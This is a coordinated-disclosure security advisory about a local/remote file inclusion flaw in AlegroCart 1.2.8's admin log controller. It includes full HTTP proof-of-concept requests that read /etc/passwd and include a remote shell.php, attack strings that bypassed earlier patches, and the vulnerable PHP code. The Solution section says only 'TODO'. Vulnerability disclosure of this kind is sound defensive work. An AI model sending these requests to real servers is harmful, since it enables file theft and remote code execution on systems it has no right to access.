129 lines
No EOL
3.8 KiB
Text
129 lines
No EOL
3.8 KiB
Text
Security Advisory - Curesec Research Team
|
|
|
|
1. Introduction
|
|
|
|
Affected Product: AlegroCart 1.2.8
|
|
Fixed in: Patch AC128_fix_22102015
|
|
Path Link: http://forum.alegrocart.com/download/file.php?id=1047
|
|
Vendor Website: http://alegrocart.com/
|
|
Vulnerability Type: LFI/RFI
|
|
Remote Exploitable: Yes
|
|
Reported to vendor: 09/29/2015
|
|
Disclosed to public: 11/13/2015
|
|
Release mode: Coordinated release
|
|
CVE: n/a
|
|
Credits Tim Coen of Curesec GmbH
|
|
|
|
2. Vulnerability Description
|
|
|
|
CVSS
|
|
|
|
Medium 6.5 AV:N/AC:L/Au:S/C:C/I:C/A:C
|
|
|
|
Description
|
|
|
|
When retrieving logs, there are no checks on the given file_path Parameter.
|
|
Because of this, local or remote files can be included, which are then executed
|
|
or printed.
|
|
|
|
Admin credentials are required to view logs.
|
|
|
|
3. Proof of Concept
|
|
|
|
Remote File:
|
|
|
|
|
|
POST /ecommerce/AlegroCart_1.2.8/upload/admin2/?controller=report_logs HTTP/1.1
|
|
Host: localhost
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en
|
|
Connection: keep-alive
|
|
Content-Type: multipart/form-data; boundary=---------------------------16809437203643590021165278222
|
|
Content-Length: 441
|
|
|
|
-----------------------------16809437203643590021165278222
|
|
Content-Disposition: form-data; name="directory"
|
|
|
|
error_log
|
|
-----------------------------16809437203643590021165278222
|
|
Content-Disposition: form-data; name="file_path"
|
|
|
|
http://localhost/shell.php
|
|
-----------------------------16809437203643590021165278222
|
|
Content-Disposition: form-data; name="decrytion"
|
|
|
|
0
|
|
-----------------------------16809437203643590021165278222--
|
|
|
|
Local File:
|
|
|
|
|
|
POST /ecommerce/AlegroCart_1.2.8/upload/admin2/?controller=report_logs HTTP/1.1
|
|
Host: localhost
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en
|
|
Connection: keep-alive
|
|
Content-Type: multipart/form-data; boundary=---------------------------16809437203643590021165278222
|
|
Content-Length: 425
|
|
|
|
-----------------------------16809437203643590021165278222
|
|
Content-Disposition: form-data; name="directory"
|
|
|
|
error_log
|
|
-----------------------------16809437203643590021165278222
|
|
Content-Disposition: form-data; name="file_path"
|
|
|
|
/etc/passwd
|
|
-----------------------------16809437203643590021165278222
|
|
Content-Disposition: form-data; name="decrytion"
|
|
|
|
0
|
|
-----------------------------16809437203643590021165278222--
|
|
|
|
For the patches AC128_fix_13102015 and AC128_fix_17102015 the following attack
|
|
strings were still working:
|
|
|
|
|
|
http://localhost/shell.php?x=ls&foo=/var/www/ecommerce/AlegroCart_1.2.8/upload/logs/error_log/
|
|
|
|
/var/www/ecommerce/AlegroCart_1.2.8/upload/logs/error_log/../../../../../../../etc/passwd
|
|
|
|
4. Code
|
|
|
|
|
|
/ upload/admin2/controller/report_logs.php
|
|
function get_file(){
|
|
$file = '';
|
|
if($this->request->gethtml('file_path', 'post')){
|
|
$file = file_get_contents($this->request->gethtml('file_path', 'post'));
|
|
}
|
|
if($this->request->gethtml('decrytion', 'post')){
|
|
$file = $this->ccvalidation->deCrypt($file, $this->config->get('config_token'));
|
|
}
|
|
if($file){
|
|
$file = str_replace(array("\r\n", "\r", "\n"),'<br>', $file);
|
|
}
|
|
return $file;
|
|
}
|
|
|
|
5. Solution
|
|
|
|
To mitigate this issue please apply this patch:
|
|
|
|
TODO
|
|
|
|
Please note that a newer version might already be available.
|
|
|
|
6.. Report Timeline
|
|
|
|
09/29/2015 Informed Vendor about Issue
|
|
11/03/2015 Vendor releases fix
|
|
11/13/2015 Disclosed to public
|
|
|
|
|
|
Blog Reference:
|
|
http://blog.curesec.com/article/blog/AlegroCart-128-LFIRFI-102.html |